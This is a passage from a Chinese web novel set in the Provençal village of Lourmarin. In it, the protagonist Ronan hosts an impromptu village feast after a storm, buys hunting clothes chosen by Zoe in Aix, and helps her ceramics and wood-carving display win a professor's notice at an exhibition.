每次下完雨,政府就会‘麻烦不断’,不是有人投诉电路老化,就是有人投诉下水系统陈旧。 似乎给他们带来麻烦的家伙不是大雨,而是卢尔马兰政府。 “有13栋房屋前的道路被冲垮、7座房子出现明显裂缝、停电的家庭有27个、下水系统崩溃的家庭至少超过30,漏雨的更是不计其数。”工作人员严肃的汇报统计结果。 布兰科的脸色像纸一样惨白: “比以往都要严重” 希尔维叹了一口气: “今年的雨季提前了,大家都还没有做好准备。” 卢尔马兰并不是什么有钱的大村子,落后的不止是旅游基础设施,村民们的生活基础设施也需要升级,但经济提不上来,政府没有那么多预算做改造。 每年都会‘缝缝补补’,但下一年,该出事的地方依然会出事。 政府需要一笔巨大的投入,才能彻底改善村民在恶劣气象天气下的根本问题。 布兰科看向另一个同事: “今天接到了多少起对政府的投诉?” 普罗旺斯人没有游行习惯,但投诉的劲头不输巴黎。 政府的投诉电话被打爆了吧? 那位同事皱眉撇了下嘴: “很奇怪,今年的投诉数并不多,上班到现在只接到了6个。” “怎么会这么少?”布兰科更紧张了。 没有投诉到卢尔马兰政府,不会是投诉到沃克吕兹省了吧? 完了,事情闹大了! 那同事答不上来,但和此事没有什么关系的克劳德却替那人回答了: “我大概知道投诉少的原因。” 下班后,克劳德带布兰科来到他家。 他指着自己旁边的那座老房子说: “今天早上我去上班的时候,碰到了这里的邻居,他家昨天漏雨了,但雨一停他就开始缮房子,但是布兰科你知道吗从我有记忆起,我爸爸就一直提醒他,他家的房子太老了,必须彻底修理,我的邻居经常说,天气那么热,偶尔淋淋雨也挺不错的。” “那他今年为什么决定大修了?”布兰科疑惑的问克劳德。 他看到那家住户门口放了许多袋砂石,那可不是普通的修缮,而是大升级。 克劳德笑着耸肩: “我问了同样的问题,他说他羡慕罗南家有一个漂亮、坚固的大房子,借此机会正好把房子好好做一次改造,你敢信吗?一毛不拔的村民,居然因为眼馋罗南家的房子,学会改善自己的居住环境了。” 布兰科嘴巴张得巨大。 这些村民终于想明白,提升居住环境不能一味等待政府、自己也需要努力的道理了吗? “你陪我在村子里转转。”布兰科正色道。 克劳德陪布兰科转了小半个村子,看到好几台压路机和推土机,身边还陆续有拉着装修材料的大卡车经过。 大雨没有让卢尔马兰村里的‘活人’变少,游客躲起来了,但路上可以看到很多忙忙碌碌的本村村民。 整个卢尔马兰上空,似乎被一种名叫‘生机’的东西所笼罩。 这是布兰科做村长以来,从没看到过的场景。 “罗南给村民的心态带来了改变。”布兰科激动的说。 克劳德颇有感触的点头: “是的,我能明显感觉到,大家更加热爱生活了。” 布兰科双手背后,欣慰的说: “只有政府想改变是远远不够的,村民也一起动起来才能彻底改变卢尔马兰的面目。” 克劳德笑着说: “我觉得,村民们已经开始行动起来了。” 布兰科开心的对克劳德摆手: “走,我们去看看卢尔马兰的‘功臣’。” 克劳德愉快的跟上去: “我还没去过罗南家的大院子呢,听说坐在那里喝酒就不想回家去。” 布兰科和克劳德来到远离村中心的罗南家,发现这里比村子里还要热闹。 刚走上罗南家门前的柏油路,就能听到孩子们开心的笑声,随即五六个孩子蹦蹦跳跳跑过来问他们: “你们也是来‘过节’的吗?” “过节?”布兰科用询问的眼神看克劳德,“今天是什么节日?” 克劳德眉头微皱,想了好一会说道: “今天好像不是什么节日啊。” “胡说!罗南叔叔说今天就是过节的日子!”说完,几个孩子快速跑走,继续去玩耍了。 布兰科和克劳德继续向前走,又听到了激烈的‘争吵声’。 离近了一些,发现是几个女人围绕谁包的‘饺子’最好看,互不相让的争论。 布兰科更疑惑了,问克劳德: “饺子是什么?” 克劳德也蒙了: “没听过。” 幸好女人们动嘴的时候不影响视力。 在厨房忙碌的她们透过罗南家的大窗户,看到布兰科和克劳德来了: “村长?布兰科?你们怎么来了?” “我们来找罗南。”布兰科站到窗前和女人们对话,“‘饺子’是什么?” 特奥的妻子拿起来一个给布兰科展示: “一种中国美食,罗南说中国人过节时都要吃这东西。” 这已经是布兰科第二次听到‘过节’这个单词了,他奇怪的问特奥妻子: “今天到底是什么节日?” 太奇怪了! 真的太奇怪了! 他透过窗户,看到罗南家的厨房里至少有7、8个不同家庭的女主人。 冯珍把头凑过来,笑着给布兰科解释: “是罗南开玩笑说,既然今天有这么多人在,就找个借口一起好好吃一顿,全当今天过节了。” 布兰科还是第一次听到这么随意的过节理由,问冯珍: “罗南在家吗?” 莉亚指了指后院: “男人们在院子里。” 布兰科和克劳德转头去后院,冯珍在身后对他们喊: “晚上留下一起吃饭吧,尝尝我们包的饺子!” “罗南还挺有意思的,为了一起吃顿饭,还找个过节的理由?看样子孩子们还相信了。”克劳德哭笑不得的说。 “罗南有意思的很呢”布兰科呵呵笑了几声。 愉快玩耍的孩子,凑在一起叽叽喳喳干活的妇女今天还真有一种过节的氛围。 不过今天并不是真正的节日啊。 但两个人到了后院,看到一院子打牌、斗嘴、喝酒的男人,觉得这太‘节日’了。 不,这比节日还节日! 圣诞节的时候也不会有这么多人凑到一起过啊!! 不给他们反应的时间,皮埃尔勾着克劳德脖子,把他拉走: “你来的正好,我们这里缺一个人,快快,过来玩一会!” 克劳德被皮埃尔强行摁到罗马柱下方的椅子上。 他抬头不停打量这个卢尔马兰‘著名景点’: “上帝,这里比大家描述的更加让人震撼。” 皮埃尔不悦的咂嘴: “你到底玩不玩?” “玩玩玩!”克劳德跃跃欲试的说,“可以多玩一会,这里晚上有灯吧?” 皮埃尔哈哈大笑: “这里不但有灯,还有篝火呢!” “布兰科?”罗南从户外厨房区域跑过来,“有事吗?” 布兰科指着这些人问: “你家今天怎么来了这么多人?” 他从未在卢尔马兰见过这么大型的聚会。 罗南尴尬的笑了几声: “其实一开始没有这么多人,一个喊一个,慢慢就变成这样了。” 他家既温馨又好看,孩子们今早都不愿离开。 罗南一家也很喜欢这种热闹的氛围,于是决定今天好好聚上一天。 “罗南,感谢你给村民们带来热情和激情。”布兰科发自内心的的说。 以往下完雨,村民们会围着政府发牢骚。 而这次下完雨,村民们居然围在罗南家过‘节’。 一切的一切都太神奇和魔幻了. 罗南摆了摆手: “别这么说,对了,你去替我打‘麻将’吧,我要进去做饭了。” “麻将又是什么?”布兰科皱着眉头问。 他觉得今天的他无知的像个孩子。 半个小时后。 布兰科兴奋的问对面的罗天海: “下一次‘过节’是什么时候?如果方便,你们可以提前通知我吗?” 罗天海笑着说: “下次什么时候‘过节’要问罗南,但春节你们一定要来,我发誓办的比今天还要热闹!” 第169章 ‘贵族\’运动 佐伊参加的器物展要举行三天。 这是她人生中的第一次重要活动,作为父母肯定要去给女儿捧场。 在展览最后一天的早上,罗南开车带路易和莉亚一起去了艾克斯。 除了看下午的闭幕式并把佐伊接回卢尔马兰外,罗南也想去艾克斯的狩猎用品店看看。 距离打猎季开始还有一个多月,罗南已经找朋友去问复古枪的消息了,实在找不到,他就先找特奥借一把用,反正那家伙有好几把,特奥也跃跃欲试的想让罗南试试他的‘大宝贝’们。 枪可以先不着急买,但装备要先准备出来。 这次回到卢尔马兰后,罗南就要进入餐厅装修的密集工作中,恐怕难有时间和精力再去大城市,索性一次性把事情多办点。 路易在路上告诉罗南,佐伊会在艾克斯的狩猎用品店和他们汇合,四个人买完东西后吃个午饭,下午去看展览。 “佐伊这几天一定很累,没必要把她叫来。”罗南对后排的莉亚说,“莉亚,你也不用陪我,我把你和佐伊送到咖啡厅,我和路易买完马上去找你们。” 罗南认为路易的安排有些问题. 怎么会有女人爱逛狩猎用品店啊? 没看到她们在‘迁徙节’集市上,见到游牧用具时的样子吗? 莉亚把头凑到前排: “我和你们一起去,佐伊也想要一起去看看。” 罗南以为这是莉亚在跟他客气,继续劝解道: “我很快的,最多半个小时我一定买完。” 路易问罗南: “你想去狩猎用品店买什么东西?” 罗南敲着方向盘说: “我想买几身专业的打猎服装、打猎要用的道具和户外装备。” 打猎服装采松露的时候也能穿,可以多买几身。 道具和装备也是一样的道理,罗南今年要全方位提升他的冬季采松露体验。 路易耸肩道: “那你至少要花2个小时,不可能半个小时买完。” “2个小时?”罗南侧头笑着说,“我在巴黎都没有逛过两个小时街。” 路易呵呵笑了几声: “那是因为你没有去过专业的狩猎用品店,尤其是普罗旺斯的.我发誓,没有一个男人可以轻易的离开那里,没有一个!” 罗南也笑着耸肩: “看各种样式的枪支吗?可我今天不买枪。” 狩猎用品店也卖枪,不过罗南今天没有这个行程安排。 “不是枪,是买衣服!”路易兴奋的拍了拍手,“那会耗费你许多许多的时间,我上次陪阿兰来,那家伙逛了足足一个上午!” “迷彩服而已,需要那么多时间吗?”罗南考狩猎执照的时候,几个教官穿的都是样式和颜色差不多的迷彩服。 罗南觉得那就挺不错的。 路易不敢置信的瞪大眼睛: “上帝,你居然要穿那种‘粗俗’的衣服去打猎?这里是法国,不是德国!” 后排的莉亚笑着给罗南解释: “几百年间打猎一直是法国的‘贵族’运动,普罗旺斯的男人们可以没有西装,但不能没有好看的打猎服装.穿迷彩服朋友们会拒绝和你一起上山的。” 罗南后仰脑袋: “是打猎还是‘选美’?” 路易不悦的咂了一下嘴: “这是普罗旺斯人的优雅和浪漫!” 罗南笑着说: “那太棒了,莉亚的审美这么好,一定会给我搭配出最优雅和浪漫的打猎装扮。” 莉亚给她和路易做的南法传统服饰,给罗南留下了深刻印象,那太好看了! 莉亚拍了拍罗南的座椅靠背,语气里有掩饰不住的开心和自豪: “我们家最会‘穿搭’的另有其人。” “你好啊,我的模特。”佐伊一见到罗南就拿他打趣。 佐伊今天又换了穿搭风格,金色长发微微卷起,白色连衣裙像是杂志上的款式那么好看。 罗南上下打量她: “差点忘记路易家还有一个‘时尚’大师。” 佐伊的毫无疑问是卢尔马兰最会穿衣服的女孩。 佐伊挎上母亲莉亚的胳膊,迫不及待的带他们进入狩猎用品店: “你们来之前,我进去看过一圈了,今天我有很大的发挥空间。” 罗南来的是艾克斯规模最大的狩猎用品店。 里面按照枪支、弹药、枪械配件、狩猎服装、保暖道具、狩猎配件和猎刀等划分成了好几个区域。 服务员得知罗南的需求后,耐心的给他介绍: “虽然大家普遍认为狩猎最重要的道具是枪支及其设备,但从专业角度考虑,安全肯定是首当其冲的事情。可以保护身体的衣服,舒适耐用的鞋子,可以帮助您在复杂的地形和紧张状况下自由舒适地移动,从而让狩猎变得安全。” 罗南认同的点头: “专业的服装和鞋子还可以让事情变得简单。” 几个月前,罗南进山采‘法国小百合’时吃足了没有专业服装和道具的苦,那之后他就发誓要把自己从头武装到脚。 今天他可是带足现金来的。 服务员一边走一边说: “我们先去看看服装吧,狩猎的衣服和鞋子应该由轻质材料制成,但同时要坚固且防水。” 罗南的脑海马上出现迷彩服的样子,但他意外的发现.艾克斯最大的狩猎装备店里居然没有那东西! 整面墙上挂满了好看的夹克,下面是裤子和各种靴子。 罗南正‘乱花渐欲迷人眼’时,服务员继续给他上压力: “您想买冬季的服装、春秋的服装,还是夏季的?我可以给您一些推荐。” “我——”罗南的双眼逐渐迷离。 这些都是打猎服装吗? 怎么比巴黎服装店里的男士衣服还好看? 打猎绝不只是‘贵族’运动,它还是一项‘时尚’运动! 佐伊适时的把罗南解救出来,问服务员: “我们可以自己搭配吗?” 服务员点头: “当然可以,换衣间在那边。” 佐伊回头对罗南说: “那我们从夏季开始吧?我记得你夏季也要上山。” 罗南露出灿烂的微笑: “好,今天我就把自己交给你了。” 罗南的愿望成真了。 佐伊真的把他从头武装到脚。 当罗南穿着大艺术佐伊精心设计的第一套服装出来时,服务员们都围过来了。 “好厉害啊,连帽子都搭配上了” 罗南不太习惯的看着镜子里的自己。 格子衬衣、深棕色工装裤、和裤子同色的狩猎马甲和一顶深灰色贝雷帽. “我都快不认识自己了。”罗南小声嘟囔。 佐伊认真给罗南整理衣领: “不喜欢?” 【有好感的异性为你精心搭配服饰幸福度增加10点】 罗南一怔: “不不不,很好看!” 随后他马上对服务员说: “这一套全部要了。” “好的先生!”服务员开心的答应下来。 佐伊抬头问: “不再试试别的了?” 罗南兴奋的去更衣室换衣服: “你再给我搭一套春秋的,我相信那一定会比这一身更好看。” 几分钟后。 莉亚见到罗南新的装扮,笑着说: “快看,卢尔马兰最帅的猎人出现了!” 路易有些吃醋的摸了摸罗南的夹克: “这衣服真好看,为了好看的衣服,我需要考虑去考个执照了。” 路易是罗南身边少有的没有打猎执照的人,他说他对打猎没有太大的兴趣。 但看起来他对打猎服装兴趣挺大的。 佐伊拿了一顶鸭舌帽扣在罗南的头上,后撤了几步认真检查自己的‘作品’: “还可以,裤子可以换成刚刚那条。” 【有好感的异性为你精心搭配服饰幸福度增加10点】 “这一身也要了。”罗南对服务员说。 “好的先生!”服务员笑得合不拢嘴。 今天真是个好日子啊,遇到大客户了。 佐伊在衣架后探出头来: “冬天的是不是要多准备几身?” 罗南一整个冬天都会在山里。 罗南点头: “是的,可以多准备几套。” 佐伊的手指在衣服间来回滑动: “贵族运动,需要一点贵族的装扮。” 罗南第三次换好衣服出现在众人面前。 “你穿什么款式的衣服都很好看啊!”接待罗南的服务员由衷说道。 她们家的衣服的确好看,但不是谁都能穿出那种感觉。 尤其是罗南身上这一身‘复古’打猎装。 搭配的人厉害,穿的人更厉害。 路易撇了撇嘴: “好吧,你小子确实有一点我年轻时的风采。” “路易,你太矮了,穿大衣配长统靴是灾难。”莉亚羡慕的看罗南,“但罗南穿完全没有问题!” 佐伊不确定罗南是否喜欢这种风格,一边给他整理‘绅士帽’一边问: “你觉得怎么样,穿的习惯吗?” 罗南低头笑着问: “你觉得好看吗?” 佐伊认真看了他好久: “我觉得挺好看的。” 她抬头对罗南轻轻一笑: “你有穿它的资本。” 【有好感的异性为你精心搭配服饰幸福度增加10点】 “买了!”罗南豪气的说。 几个服务员在旁边偷笑。 明明是这个男孩买衣服,怎么看出了一股子‘宠妻’的味道呢? 罗南刚订下第三套,佐伊的第四身搭配也准备好了: “最后再试一套‘休闲’一点的。” 又过了几分钟。 穿着绿色大衣、绿色工装裤和毛线帽的罗南又以一种新的风格出现在大家面前。 服务员们惊讶的问: “先生,你女朋友是服装设计师吗?” 四套服装四种风格,从南法乡村、到英伦绅士、再到法式复古.又到了现在的‘时尚’潮流。 这女孩是艾克斯的哪位‘大师’吧? 佐伊憋着笑,想给害羞的巴黎小伙子解围,但罗南自豪的对服务员们说: “不是服装设计师,但她是普罗旺斯最棒的艺术家!” 莉亚兴奋的抓住路易的胳膊。 上帝啊,罗南居然没有说‘不’! 第170章 礼物 打猎的服装和农夫们平时穿的牛仔裤帆布鞋不同,由于材质轻便,还拥有极强的防水性,价格非常昂贵。 那几件厚外套和夹克要500法郎以上,而农夫们平时穿的格子衬衣不过50法郎一件。 服务员虽然心里开心的不得了,但还是有些忐忑,生怕这个小子为了在‘女朋友’面前逞强,忘记了看自己的钱包。 “先生,还需要其他东西吗?”服务员把五大包衣服和靴子打包好后向罗南确认。 罗南看佐伊,征求她的意见。 他说过,今天把自己交给她了。 佐伊点点头: “应该够了。” 罗南马上对服务员: “不需要其他东西了。” 服务员把早就计算好的价格报出来: “一共是2665法郎。” 罗南‘哇哦’了一声。 服务员以为罗南嫌贵,主动给他台阶下: “其实少买一双靴子和几件衣服也可以的,或者换成其他款式。” 但罗南却撇着嘴小声嘟囔: “普罗旺斯的物价真便宜啊。” 在巴黎买这么多衣服绝对不止这个价格,而且还没有防水能力。 服务员的笑容终于完全绽放出来——看来今天这位先生带够现金了。 “我送您出去。”服务员拿起袋子,作势就要送他们出门。 罗南对她摆摆手: “不着急不着急,我还没买完呢。” 说着他从口袋里拿出一张纸: “我还需要狩猎荧光背心、双筒望远镜、射击眼镜、狩猎腰带、专业背包、热水壶、专业刀具和一薄一厚两幅手套。” 服务员愣在原地。 还买? 罗南见她不说话,放下纸对她说: “我不知道准备的全不全,没想到的东西你也给我推荐一下吧。” “好的。”服务员快步追上罗南,“我带您去装备区。” 居然是个‘低调’的有钱人。 一会给他塞张名片,以后这就是我尊贵的大客户了! 谁知罗南又回头对路易一家说: “你们也看看,看上了什么我送你们。” 马上有三个服务员热情的将几人围住,齐声说道: “我带你们看看吧?” 盯上大客户的可不止那一个服务员! 在法国,当一个人说要送你礼物,被送礼方通常不会拒绝,那是一种对送礼方的不尊重。 西方国家不会在此事上进行过多的‘拉扯’。 收到一件礼物,之后找机会送回等价值的礼物就可以了。 罗南送了路易一把军刀,送了莉亚一件羊绒毛衣,而佐伊选了一顶和罗南同款同色的冬季毛线帽。 “好看吗?”佐伊戴上帽子问罗南。 “好看!”罗南也把自己的那顶戴上,和佐伊并排站到镜子前。 这样更好看了! 佐伊看着镜子里的罗南说: “我也给你准备了礼物。” “什么礼物?”罗南期待的问。 佐伊故作神秘的说: “看完展览再给你。” “没带在身上吗?”罗南追问。 佐伊笑着把自己的帽子和罗南头上的帽子摘下来: “现在还给不了你” “嗯?” 采购结束,四个服务员一起送罗南等人出来。 她们看着两个脑袋凑到一起、聊个没完的罗南和佐伊背影,羡慕的说: “好般配的一对啊,男的有钱,女的有才。” 其中一个服务员笑着反问: “那么有才华的女孩会喜欢没有才华的男人?那位先生说不定也是个有才华的人。” “你说的有道理。” 中午,四口人在展会附近随便找了一家餐厅吃午饭。 现在已将近十二点,对于习惯早起的普罗旺斯人来说,这早已过了‘午饭’时间,但这家餐厅里居然没有位子。 四个人不得不走到稍远一些的地方,才能找到吃饭的地方。 “这么多人?不会都是来看展会的吧?”莉亚把菜单交给佐伊和罗南。 罗南看了看四周的顾客: “应该是吧,这家餐厅的人也很多.而且全部是年轻人。” 佐伊翻开菜单: “艾克斯本就是艺术之都,这次展会又罕见的全部启用年轻设计师参与,吸引了不少人的关注,这三天每天来参观的人都很多,但我猜今天会是参观流量最高的一天。” “为什么是今天?”路易问女儿,“不是开幕那天人最多吗?连电视台都来报道了。” 路易拉着弗雷迪和阿兰在电视前看完了三个本地电视台的所有报道。 佐伊一边看菜单,一边说: “今天皇家艺术学院的教授们会来致闭幕词,很多艺术生都从全国各地来了。” “国立高等装饰艺术学院的教授?”罗南看向佐伊。 皇家艺术学院是法国国立高等装饰艺术学院的前身,那是法国三大专业艺术院校之一,在本土论地位仅次于巴黎国立高等美术学院,简称巴黎美院,后者是世界四大美术学院之一。 前者虽然已经改了名,但大家依然习惯称呼它为‘皇家艺术学院’。 佐伊点头: “是的,参加这次展会的都是像我这样离开学校没几年的新人,没有叫的上名的大艺术家,所以组委会请来了和我们适配度更高的皇家艺术学院教授们来‘压轴’,没能参加的艺术生们也想找机会让专业老师们点评几句,听说来了不少人。” 莉亚既激动又紧张的问: “那些教授也会点评你的作品吗?” 她既想让教授们给女儿的作品提供专业指导和建议,又怕他们说些‘不好听’的打击了女儿的自尊心。 佐伊无辜的耸了下肩膀: “组委会安排了我们陪教授参观的环节,但点评不点评我就不清楚了,不过听说他们只会点评‘最好’和‘最糟糕’的我很清楚我的那些杯子和盘子是什么水平,希望他们不要点评我的作品吧。” 罗南温柔的看着佐伊说: “不用担心,你刚刚不是说,有一大半作品都被订走了吗?” 这类器物展的作品会同时售卖。 佐伊所展出的13件作品里,有8件被人订走了。 佐伊调皮对罗南说: “不用安慰我,你应该知道我内心有多强大才对。” 你被人质疑的时候,还是我开导你的呢。 罗南打开菜单,激情满满的说: “点菜吧,我都迫不及待的要去参观你的作品了。” 佐伊是参会设计师,和参观游客不是同一个通道进入。 而且组委会在下午安排了设计师们和皇家艺术学院教授们的互动环节,无法陪罗南他们看展。 佐伊建议罗南带着她父母先在展厅里面逛逛,这次一共有ABCD四个展厅,展览作品近千件。 下午3点,大家再在D区026号,也就是佐伊的作品前集合。 三个人答应的特别好,但一进去就开始找D区的牌子。 “这里这里,026号展柜!” 莉亚把罗南和路易带到佐伊的展品前。 罗南瞪大眼睛快步小跑过去。 佐伊的作品区不止有她带来的杯子和盘子,还有其他东西。 “你居然把展柜‘布置’成了这个样子!” 展柜的玻璃上,倒影出罗南又惊又喜的笑脸。 第171章 ‘才华横溢\’的罗南 几天前,送佐伊来艾克斯的路上,罗南有问她,为什么要提前这么多天来。 佐伊说她想提前来布置展柜。 罗南反问,布置展柜的工作应该落不到参展设计师的头上吧,那不是举办方要负责的吗? 佐伊回答说这是她人生中的第一个展会,希望能体现出来自己的风格,早点来可以根据场馆的布置多点准备时间。 结果,这里真的被她布置出浓郁的‘佐伊特色’了。 在陈列的杯子和盘子旁,还有6个四五厘米高的木雕小动物。 它们或站或趴在器具旁,像是守护它们的‘战士’。 “你看这个像不像‘呼呼’?”莉亚指着其中一个小木雕问路易。 路易弯下腰仔细看了一会: “像呼呼就喜欢站在门口这样看人。” 佐伊雕的并不精细,甚至有些‘粗糙’,但神态惟妙惟肖,有一种别样的美感和韵味。 “这个是啵啵!”莉亚又认出了第二个小动物,不过她在第三个雕塑前迟疑了,“这个是——” 罗南的手指隔着玻璃摸那个木雕的头: “是小黑。” 那坐姿、那体型跟小黑蹲在佐伊脚下的样子一模一样。 “那这个是马赛?”莉亚指着一个凌乱的‘抹布’问。 “是。”罗南顿时笑出了声。 马赛的‘神韵’太精准了。 “所以这6个木雕,是咱们两家的所有小动物?”路易终于看明白了。 罗南越看这几个木雕越喜欢,敲着玻璃说: “等展会结束,我要把它们带回家摆到客厅里。” 三个人下午一直在露天休息区聊天打发时间,没有去其他地方。 罗南是不想去,路易和莉亚是看不懂。 “以前卢尔马兰有很多艺术家,有名的、没有名的.太多了,小时候在路边经常能看到挖土做陶罐的人,现在都看不到了。”路易有感而发。 莉亚也感慨的说: “以前我家邻居有好几个会画画的,后来他们都搬走了,去了圣雷米,前几个月佐伊买窑炉的时候,工人说这是他们第一次来卢尔马兰送货,看样子非常惊讶。” “艺术家们喜欢‘聚集’到一起活动。”罗南耸肩。 “所以我们非常欣慰佐伊能坚持这么多年,同时也为她骄傲。”莉亚激动的说。 罗南想到什么,问他们: “布兰科说,佐伊是现在卢尔马兰唯一的一个‘艺术家’,是真的吗?” 普罗旺斯是艺术家的摇篮。 弗朗西斯·斯科特·菲茨杰拉德、马克·吐温、查尔斯·狄更斯、欧内斯特·海明威、亨利·詹姆斯和马塞尔·帕尼奥尔等都受到过普罗旺斯的启发,或撰写过关于普罗旺斯的著作。 普罗旺斯还有大量文森特·梵高、保罗·高更、亨利·马蒂斯、巴勃罗·毕加索、保罗·西涅克和保罗·塞尚等艺术大师留下的痕迹。 路易表情复杂的点头: “是的,不知道哪天开始,‘艺术’突然离开了卢尔马兰居民的生活,我和莉亚无比惊讶艺术白痴的我们能生出一个热爱艺术的女儿。” 罗南看向远方的某处。 ‘艺术’的离开也是卢尔马兰落后的另一种体现。 在几公里外的梅纳村里,不仅有当代博物馆,还有画廊和艺术品商店。 “不过这个局面很快就会改变了。”罗南对路易和莉亚说,“布兰科给希尔维下了死命令,让她必须在商业街上招商到一个艺术品商店,‘艺术’会在不久后的将来再次光临卢尔马兰。” 罗南可以拿到卢尔马兰的‘核心’消息,即使是消息灵通的路易都不曾知道还有这样一件事: “是本村村民开,还是外村村民开?” 罗南斟酌了一下: “大概率是外村村民。” 卢尔马兰没有人会开艺术品商店,除了佐伊。 但罗南问过佐伊了,佐伊说现阶段她的重心会放在创作上,暂时不会考虑自己开一个店铺。 路易的语气明显失落下来: “外村人” “怎么了?”罗南不解的看他。 这是件好事啊,你这么失落干什么? 路易操心的说: “外村人开的艺术品店,跟梅纳村和索格岛的店铺不会有什么差别,不是自己村子里的人.对佐伊依然会很苛刻。” 佐伊每周的作品产量巨大,只靠两天集市是卖不完的。 每隔一段时间,她就会集中送去梅纳村或者索格岛的艺术品商店一次。 但艺术品商店收作品的要求非常严格,佐伊经常受到‘刁难’,他们还会在价格上不断做文章。 每次佐伊从艺术品商店回家,都会‘郁闷’好一阵子。 但如果是本村村民开的就不一样了,面对卢尔马兰唯一的‘艺术家’,总会给佐伊一些优待。 “你说的那个情况不可能在卢尔马兰发生。”罗南表情严肃下来。 莉亚感激的拍了下罗南的胳膊,让他别‘激动’: “我们都希望那个情况不会发生。” 罗南伸出食指,用‘不容置疑’的手势说: “无论最终是哪里的人开了那间艺术品商店,都不可能刁难佐伊,我保证。” 莉亚和路易欣慰的互看了一眼。 他们的女儿在卢尔马兰有一个实力雄厚的‘靠山’啊。 罗南是卢尔马兰的‘大英雄’,他想保护佐伊,没人敢刁难她。 但离开卢尔马兰,来到了艾克斯,罗南就不好使了。 2点40,一群人浩浩荡荡的出现在D馆——是皇家艺术学院的教授们,在组委会和设计师的陪同下来了。 罗南、路易和莉亚立即守到佐伊的作品前,忐忑的等待教授们的‘光临’。 “他们会点评佐伊的作品吗?”莉亚紧张的问。 路易也有一点紧张: “我们还是祈祷别被点评了吧,我刚刚去卫生间,听到从别的馆出来的游客说,那些教授只会在不太理想的作品前点评两句,我不希望他们那样说佐伊。” 罗南安慰他们: “我们是来给佐伊加油打气的,佐伊还在那里‘奋战’呢,我们不能先没了信心啊!” “对对对,我们是来给佐伊加油打气的!”莉亚拉住路易的手,“上帝保佑。” 组委会把教授们请来,目的主要是给展览‘背书’。 在没有知名设计师参与的情况下,这些法国艺术圈的名人可以把展览的口碑和规模提升一个层次。 既然大家都‘心知肚明’,那么参观展览这个环节不过就是走个过场,教授们没有什么兴趣真的给这些年轻设计师做点评。 “现在的新艺术家们都很有想法,东西做的都挺不错的。”这次最重要的嘉宾、皇家艺术学院的高德曼教授‘真心诚意’的夸赞。 “都是法国艺术的未来啊。”另一位叫阿里代的教授马上附和。 组委会的工作人员开心的把这一幕幕记录下来,作为下次找赞助商要钱的有力依据。 高德曼教授突然在某个展柜前驻足,笑着和旁边的人说: “阿里代,这个作品让你想到了什么?” 阿里代摸着鼻子下方整齐打理过的胡子说: “想到了很多,它可以引出无限遐想。” 高德曼教授表情古怪的离开: “它让我想到了克洛德·维尔拉。” 人群里,这个展柜的设计师尴尬的低下头。 其他设计师们向他投去同情的眼神。 这是今天的第9个‘受害者’了。 组委会的工作人员表情严肃的对摄像师说: “这里的素材也剪下去。” 克洛德·维尔拉以其激进的画风和对传统绘画形式的颠覆而闻名。 他的作品全部是单一而无意义的图形,是个争议很大的法国艺术家。 “高德曼教授、阿里代教授,我们已经参观到最后一个馆了,全程有什么让你们印象深刻的作品吗?”工作人员问出了事先准备好的问题。 阿里代教授一边走,一边微笑着念出组委会事先给他的标准答案: “给我留下深刻印象的作品有很多,真的太多了,我认为你们应该多多举办这样好的展会,多给年轻艺术家展示的机会,你看他们做的非常好。” 工作人员又问高德曼教授: “您呢?” 高德曼教授拥有艺术家一贯的‘桀骜不驯’,他并不想完全按照答案‘背’出来,否则不会用克洛德·维尔拉来暗喻他对那副作品的真实评价。 但是很遗憾,他并没有认真看太多作品,这些器具在他看来太‘稚嫩’了。 “有印象的作品吗?”他四下打量,希望能找到一个能让他‘点评’两句的作品。 突然,安静的展馆里出现一道惊呼声: “咦?这不是玻璃器物展吗,怎么会有木雕呢?” 所有人都向发出那道声音的位置看去。 人群里的佐伊紧张的瞪大眼睛。 罗南要干什么?! 高德曼教授被罗南的声音吸引,走到了佐伊的展柜前。 如果没有这道惊呼,他们不过路过这里。 罗南似乎才看到展厅里的大部队和摄像机,歉意的说: “抱歉,我没有打扰到你们吧?刚刚没有控制住.” “没有没有!”工作人员认为偶尔出现一些剧本之外的‘剧情’是好事,热情的给罗南解释,“这些木雕是设计师强烈要求摆进去的,说这是她的‘特色’。” 高德曼教授看着那些‘抽象’的动物木雕,哭笑不得的说: “这是什么特色?” 工作人员给在人群里寻找佐伊的身影: “设计师在吗?可以给我们介绍一下你的作品吗?” 佐伊大方的走出人群: “我是这个展柜的设计师。” 游客们也围了过来。 “哇,好漂亮的设计师!” 漂亮女孩无论在哪里都会得到更好待遇,高德曼教授的语气温柔下来,问佐伊: “为什么要放几个木雕进去?” 佐伊的声音没有任何起伏,情绪也平静的不得了,似乎高德曼教授在之前对设计师的‘刁难’没有给她带来任何影响: “我是一个专门做动物的设计师,但是很遗憾这次参展的作品没有办法体现动物,所以临时做了几个木雕做装饰。” “为什么不在作品上体现你的风格?”高德曼教授不理解的问。 佐伊没有回答,看向了工作人员。 为什么? 因为有动物的作品组委会没要啊。 组委会工作人员努力找到一个好的解释理由: “放一些小的装饰,会让人印象更加深刻不是吗?如果没有这些点缀,也不会吸引您的注意。” 她把事情圆到了刚刚的问题上。 高德曼教授笑着耸了一下肩膀,对佐伊说: “你做器物的水平还有很大的上升空间,不过动物做的挺有特色,之后可以把这个风格延续到作品上,继续加油吧。” 设计师们惊讶的小声交头接耳起来。 这是大名鼎鼎的高德曼教授今天第一次有实际内容的点评! “谢谢高德曼教授。”佐伊感激的说。 一旁的莉亚快把路易的胳膊抓红了,她不住的小声嘟囔: “哦,不不不,上帝,这个教授‘批评’佐伊的作品了。” 罗南低声安慰她: “不,这绝不是批评,也许是好事。” 已经离开的高德曼教授又回头看了眼那些木雕,问佐伊: “5条狗,1只羊,它们有什么寓意吗?” 好奇怪的组合 佐伊看向某个方向,嘴角微微勾起: “这些全是我养的宠物,我希望它们能陪我一起参与这次活动。” 罗南的狗也是她的狗.嗯,虽然现在还不是,但以后肯定是。 不能厚此薄彼。 莉亚忘记了紧张,震惊的看罗南。 你和佐伊是不是有什么事忘记通知我们了?? 半个小时后,佐伊欣喜的跑过来和父母、罗南汇合。 和她一起来的,还有一个天大的好消息。 “刚刚有一个文化交流中心的人找我,说想要看看我的动物相关作品.我被主动邀请了!”佐伊兴奋的抱住母亲。 “太棒了,太棒了!”莉亚的心终于放了下来。 佐伊表情复杂的看罗南: “你啊你——” 罗南以为佐伊要‘责怪’他的大胆举动,高举双手,以展示自己的无辜: “我知道你不会被其他人的点评所影响,但万一是好结果就赚翻了,事实证明我赌对了。” 佐伊‘嗔怪’的说: “你不去做‘演员’真是可惜,我怎么之前没发现你这么有‘才华’呢?” 罗南笑容灿烂的说: “我就当是你夸我了。” 展会结束,佐伊把小黑和马赛的木雕交给罗南。 